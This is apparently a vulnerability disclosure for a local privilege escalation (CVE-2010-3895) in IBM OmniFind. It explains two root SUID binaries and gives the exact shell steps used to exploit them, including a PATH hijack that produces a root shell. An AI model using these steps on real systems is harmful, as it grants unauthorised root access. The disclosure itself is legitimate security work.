IBM OmniFind - Local Privilege Escalation

* Privilege escalation in two applications (CVE-2010-3895)

Root SUID bits are set for the applications »esRunCommand« and »estaskwrapper«.

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  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand
  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/estaskwrapper
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»esRunCommand« takes one argument and runs it as root. See example below.
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  -rwsr-xr-x 1 root users ... /opt/IBM/es/bin/esRunCommand

  joemueller@XXX:/opt/IBM/es/bin> ./esRunCommand id
  OUTPUT: cmd is id
  id
  uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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The application »estaskwrapper« is meant to start the application »estasklight«.
The pseudo c code looks like this:
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	main() {
	  int auth = 0;
	  ...
	  if (argv[1] == "estasklight") {
	    auth = 1;
		  ...
		  path = getenv("ES_LIBRARY_PATH");
		  if (path) {
		    setenv("LD_LIBRARY_PATH", path);
		    setenv("LIBPATH", path);
		    ...
		    if (auth) {
		  	  execvp ("estasklight", args);
		    }
		    ...
		  }
	    ...
	  }
	...
	}
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Explanation of the code:

»argv[1]« is the first command line argument, that is compared with the string
»estasklight«. If it is equal the »auth« flag is set.
If the user has the environment variable »ES_LIBRARY_PATH« set, the value is
copied to two new environment variables »LD_LIBRARY_PATH« and »LIBPATH«.
If the »auth« flag is set, the application »estasklight« is executed.



Exploit for running /bin/sh
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joemueller@XXX:~> cp /bin/sh ~/bin/estasklight
joemueller@XXX:~> export ES_LIBRARY_PATH=/home/joemueller
joemueller@XXX:~> export PATH=/home/joemueller/bin:$PATH
joemueller@XXX:~> /opt/IBM/es/bin/estaskwrapper estasklight
XXX:~# id
uid=0(root) gid=100(users) Gruppen=16(dialout),33(video),100(users)
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